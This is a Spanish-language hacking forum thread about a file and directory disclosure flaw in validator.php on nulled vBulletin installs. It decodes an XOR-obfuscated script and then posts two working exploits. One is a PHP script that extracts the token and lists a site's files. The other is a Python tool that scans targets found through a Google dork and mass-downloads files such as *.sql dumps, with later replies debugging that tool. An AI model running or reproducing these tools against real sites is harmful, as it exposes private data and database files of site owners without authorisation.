vBulletin nulled (validator.php) files/directories disclosure

Iniciado por c0de.breaker, 20 Enero 2010, 20:24 PM

0 Miembros y 2 Visitantes están viendo este tema.

WHK

jajaja good.

El archivo validator.php que se encontraba en la mayoría de las instalaciones de vbulletín lo que hace es validad archivo por archivo en el directorio de instalación y al final del checkeo te muestra todo, sea parte del sistema o no, por lo tanto si es peligroso porque si mantienes un archivo oculto o no quieres que se vea algún directorio de administración eso significa que aparecerá en esa lista.

Solo basta don darle click al botón y listo.

Normalmente este tipo de cosas deberían estar en el directorio de administración y no publico.
Bueno, nada es perfecto, algunos piensan que vbulletin por ser de pago es mejor que uno gratuito.

WHK

Bueno, hagamos una prueba de concepto (PoC) porque a veces si son muchos archivos puede causar la sobrecarga del explorador.

Al ver el código fuente desde tu explorador en el validator.php verás algo como esto:

Citar<script type="text/‭‬javascript">
var enkripsi="'1Aqapkrv'02v{rg'1F'00vgzv-hctcqapkrv'00'1G'2C'1A'03//'2C--'02Amfg'02`{'02Gtkn@'2C--'02Rn2z'02fml'05v'02pgwqg'02ukvjmwv'02cqikle'2C--'02mp'02K'02okejv'02jcz2p'02{mw'03'2Ctcp'02zonJvvr'2C'2Cdwlavkml'02tcnkfcvg'0:qvp'0;'2C'5@'02'2CzonJvvr'1FEgvZonJvvrM`hgav'0:'0;'1@'2Ckd'02'0:zonJvvr'1F'1Flwnn'0;'2C'02'02'5@'2C'02'02cngpv'02'0:'00[mwp'02`pmuqgp'02fmgq'02lmv'02qwrrmpv'02CHCZ'03'00'0;'1@'2C'02'02pgvwpl'1@'2C'02'02'5F'02'2C'02'02fmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1F'05'1Ar'1G'04l`qr'1@'1A-r'1G'1Ar'1G'04l`qr'1@'1A-r'1G'05'2C'02'02)'05'1Aaglvgp'1GTcnkfcvkle'02Pgngcqg'1A`p'02-'1G'1Akoe'02qpa'1F'00tcnkfcvmp,rjr'1Dkldm'1Fkoe'00'02cnv'1F'00Nmcfkle,,,'00'02-'1G'1A-aglvgp'1G'05'1@'2Ctcp'02wpn'1F'00tcnkfcvmp,rjr'00'1@'2Cwpn'1Fwpn)'00'1Dmr'1F'00)qvp'1@'2Cwpn'1Fwpn)'00'04qkf'1F'00)Ocvj,pclfmo'0:'0;'1@'2CzonJvvr,mlpgcf{qvcvgajcleg'1FqvcvgAjclegf'1@'2CzonJvvr,mrgl'0:'00EGV'00'0Awpn'0Avpwg'0;'1@'2CzonJvvr,qglf'0:lwnn'0;'1@'2C'5F'2C'2C'2Cdwlavkml'02qvcvgAjclegf'0:'0;'02'2C'5@'02'2Ckd'02'0:zonJvvr,pgcf{Qvcvg'1F'1F6'0;'2C'5@'02'2Cfmawoglv,egvGngoglv@{Kf'0:'00amlvglv'00'0;,kllgpJVON'1FzonJvvr,pgqrmlqgVgzv'1@'2C'5F'2C'5F'2C'2Cdwlavkml'02EgvZonJvvrM`hgav'0:'0;'2C'5@'2Ctcp'02zonJvvr'1Flwnn'1@'2Cvp{'2C'02'02'5@'2C'02'02--'02Dkpgdmz'0A'02Mrgpc'02:,2)'0A'02Qcdcpk'2C'02'02zonJvvr'1Flgu'02ZONJvvrPgswgqv'0:'0;'1@'2C'02'02'5F'2Cacvaj'02'0:g'0;'2C'02'02'5@'2C'02'02--'02Klvgplgv'02Gzrnmpgp'2C'02'02vp{'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Oqzon0,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02acvaj'02'0:g'0;'2C'02'02'02'02'5@'2C'02'02'02'02zonJvvr'1Flgu'02CavktgZM`hgav'0:'00Okapmqmdv,ZONJVVR'00'0;'1@'2C'02'02'02'02'5F'2C'02'02'5F'2Cpgvwpl'02zonJvvr'1@'2C'5F'2C--//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
</head>
<body>
<h2>DGT Release Checker</h2>
<div align="center" id="content"><br /><br /><p>Click the button below to ensure this is an official DGT release:<br /><button onclick="validate('4a1eebaa644e71d6b0ef4209881bd9f0')">Validate</button></p></div></body>

Lo puse citado y no como texto para que no se cause un overflow y se pueda ver todo.
Ahora si enviamos la petición y observamos desde el complemento live header de firefox vemos:
http://foro/validator.php?op=4a1eebaa644e71d6b0ef4209881bd9f0&sid=0.40952314391169486

Por lo tanto de donde sacamos ese hash?, del mismo script pero si queremos hacer una automatización debemos ser capaces de descifrar el contenido desde otro lenguaje:

Cifrado original:
Código (‭‬javascript) [Seleccionar]
var enkripsi="HASH";
teks="";
teksasli="";
var panjang;
panjang=enkripsi.length;
for (i=0;i<panjang;i++){
teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
}
teksasli=unescape(teks);
document.write(teksasli);


Ahora podemos ver algo como esto:
Código (html4strict) [Seleccionar]
<script type="text/‭‬javascript">
<!--
// Code by EvilB
// Pl0x don't reuse without asking
// or I might hax0r you!
var xmlHttp

function validate(str)
{
xmlHttp=GetXmlHttpObject();
if (xmlHttp==null)
{
alert ("Your browser does not support AJAX!");
return;
}
document.getElementById("content").innerHTML='<p>&nbsp;</p><p>&nbsp;</p>'
'<center>Validating Release<br /><img src="validator.php?info=img" alt="Loading..." /></center>';
var url="validator.php";
url=url "?op=" str;
url=url "&sid=" Math.random();
xmlHttp.onreadystatechange=stateChanged;
xmlHttp.open("GET",url,true);
xmlHttp.send(null);
}


function stateChanged()
{
if (xmlHttp.readyState==4)
{
document.getElementById("content").innerHTML=xmlHttp.responseText;
}
}

function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0 , Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
//-->
</script>


O sea que ocultan una función que lo único que hace es tomar la variable enviada por el form y pasarla por variable de la petición y la segunda variable enviada corresponde a un valor al azar que seguramente se utiliza para evitar caché, asi que despues de hacernos perder el tiempo durante 1 minuto podemos hacer la prueba de concepto:

Código (php) [Seleccionar]
<?php
error_reporting
(0);
echo 
"
VBulletin Full Disclosure exploit by WHK (Original: http://tinkode.baywords.com)
"
;

if(!
$argv[1]){
 echo 
"Uso: ".$argv[0]." http://ejemplo.com/foro/ \n";
 exit;
}

echo 
"Extracting HTML content ...\n";
if(!
$buffer file_get_contents($argv[1].'validator.php')){
 echo 
"validator.php not found.\n";
 exit;
}
echo 
"Find Token ...\n";
if(!
$hash desde_hasta('onclick="validate(\'''\')">'$buffer)){
 echo 
"Token not found.\n";
 exit;
}
echo 
"Obtaining files ...\n";
if(!
$buffer file_get_contents($argv[1].'validator.php?op='.urlencode($hash))){
 echo 
"Files not found.\n";
 exit;
}
echo 
"Organizing files ...\n";
if(!
$archivos desde_hasta('<td>''</td>'$bufferfalsetrue)){
 echo 
"Impossible to organize. Original Saving ...\n";
}else{
 
$buffer print_r($archivostrue);
 echo 
"Saving ...\n";
}

if(!
guardar_archivo('archivos.txt'$buffer)){
 echo 
"impossible to save, shows ...\n";
 
print_r($buffer);
 exit;
}else{
 echo 
"completed!, the file has been stored in archivos.txt\n";
}
exit;

function 
desde_hasta($desde$hasta$contenido$cantidad false$retornar_todo false){
 if(
count(explode($desde ,$contenido)) > ){
  
$retorno explode($desde$contenido);
  foreach(
$retorno as $compara){
   
$compara explode($hasta$compara);
   if(
$compara $compara[0])
    
$retorna[] = $compara;
   unset(
$compara);
  }
  if(
$retornar_todo){
   unset(
$retorna[0]);
   return 
$retorna;
  }
  if(
is_numeric($cantidad)){
   
$retorno $retorna[$cantidad];
  }else{
   
$retorno $retorna[1];
  }
  return 
$retorno;
 }else{
  return 
false;
 }
}

function 
guardar_archivo($ruta$contenido){
 if(!
$handle = @fopen($ruta'x'))
  return 
false;
 
fwrite($handle$contenido);
 
fclose($handle);
 return 
true;
}
?>


Se ve algo como esto:





c0de.breaker




#! /usr/bin/env python3.1
#
################################################################
#                ____        _ _      _   _ (validator.php)    #
#               |  _ \      | | |    | | (_)                   #
#         __   _| |_) |_   _| | | ___| |_ _ _ __               #
#         \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              #
#          \ V /| |_) | |_| | | |  __/ |_| | | | |             #
#           \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             #
#                                   @expl0it...                #
################################################################
#       [ vBulletin Files / Directories Full Disclosure ]      #
#    [ Vuln discovered by TinKode / xpl0it written by cmiN ]   #
#           [ Greetz: insecurity.ro, darkc0de.com ]            #
################################################################
#                                                              #
#                  Special thanks for: cmiN                    #
#                  www.TinKode.BayWords.com                    #
################################################################


import os, sys, urllib.request, urllib.parse, threading


def main():
    logo = """
\t |---------------------------------------------------------------|
\t |                 ____        _ _      _   _     (TM)           |
\t |                |  _ \      | | |    | | (_)                   |
\t |          __   _| |_) |_   _| | | ___| |_ _ _ __               |
\t |          \ \ / /  _ <| | | | | |/ _ \ __| | '_ \              |
\t |           \ V /| |_) | |_| | | |  __/ |_| | | | |             |
\t |            \_/ |____/ \__,_|_|_|\___|\__|_|_| |_|             |
\t |                                                               |
\t |               vBulletin Full Disclosure expl0it               |
\t |                      Written by cmiN                          |
\t |              Vulnerability discovered by TinKode              |
\t |                                                               |
\t |              Dork: intext:"Powered by vBulletin"              |
\t |          Visit: www.insecurity.ro & www.darkc0de.com          |
\t |---------------------------------------------------------------|
"""
    usage = """
         |---------------------------------------------------------------|
         |Usage:  vbfd.py scan http://www.site.com/vB_folder             |
         |        vbfd.py download *.sql -> all                          |
         |        vbfd.py download name.jpg -> one                       |
         |---------------------------------------------------------------|"""
    if sys.platform in ("linux", "linux2"):
        clearing = "clear"
    else:
        clearing = "cls"
    os.system(clearing)
    print(logo)
    args = sys.argv
    if len(args) == 3:
        try:
            print("Please wait...")
            if args[1] == "scan":
                extract_parse_save(args[2].strip("/"))
            elif args[1] == "download":
                download_data(args[2])
        except Exception as message:
            print("An error occurred: {}".format(message))
        except:
            print("Unknown error.")
        else:
            print("Ready!")
    else:
        print(usage)
    input()


def extract_parse_save(url):
    print("[+]Extracting content...")
    hurl = url + "/validator.php"
    with urllib.request.urlopen(hurl) as usock:
        source = usock.read().decode()
    print("[+]Finding token...")
    word = "validate('"
    source = source[source.index(word) + len(word):]
    value = source[:source.index("'")]
    print("[+]Obtaining paths...")
    hurl = url + "/validator.php?op={}".format(value)
    with urllib.request.urlopen(hurl) as usock:
        lastk, lastv = None, None
        dictionary = dict()
        for line in usock:
            line = line.decode()
            index = line.find("<td>")
            if index != -1:
                lastk = line[index + 4:line.index("</td>")].strip(" ")
            index = line.find("<strong>")
            if index != -1:
                lastv = line[index + 8:line.index("</strong>")].strip(" ")
            if lastk != None and lastv != None:
                index = lastk.rfind(".")
                if index in (-1, 0):
                    lastk = "[other] {}".format(lastk)
                else:
                    lastk = "[{}] {}".format(lastk[index + 1:], lastk)
                dictionary[lastk] = lastv
                lastk, lastv = None, None
    print("[+]Organizing and saving paths...")
    with open("vBlogs.txt", "w") as fout:
        fout.write(url + "\n")
        keys = sorted(dictionary.keys())
        for key in keys:
            fout.write("{} ({})\n".format(key, dictionary[key]))


def download_data(files):
    print("[+]Searching and downloading files...")
    mthreads = 50
    with open("vBlogs.txt", "r") as fin:
        url = fin.readline().strip("\n")
        if files.find("*") == -1:
            hurl = url + "/" + files.strip("/")
            Download(hurl).start()
        else:
            ext = files[files.rindex(".") + 1:]
            for line in fin:
                pieces = line.strip("\n").split(" ")
                if pieces[0].count(ext) == 1:
                    upath = pieces[1]
                    hurl = url + "/" + upath.strip("/")
                    while threading.active_count() > mthreads:
                        pass
                    Download(hurl).start()
    while threading.active_count() > 1:
        pass


class Download(threading.Thread):

    def __init__(self, url):
        threading.Thread.__init__(self)
        self.url = url

    def run(self):
        try:
            with urllib.request.urlopen(self.url) as usock:
                data = usock.read()
                uparser = urllib.parse.urlparse(usock.geturl())
                pieces = uparser.path.split("/")
                fname = pieces[len(pieces) - 1]
                with open(fname, "wb") as fout:
                    fout.write(data)
        except:
            pass


if __name__ == "__main__":
    main()

AlbertoBSD

Exactly what is your problem. WHK already published a code that works well.

Your exploits in Python stops either because it has cycled indefinitely in the for, or that the variable is usock, not completing the connection

Código (php) [Seleccionar]

    print("[+]Obtaining paths...")
    hurl = url + "/validator.php?op={}".format(value)
    with urllib.request.urlopen(hurl) as usock:
        lastk, lastv = None, None
        dictionary = dict()
        for line in usock:


Anyway I hope you do run the exploit, you could debug a bit to see what values are getting the variables, I mean line to line print what you are doing your "exploit" to see where it stops

Regards
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

WHK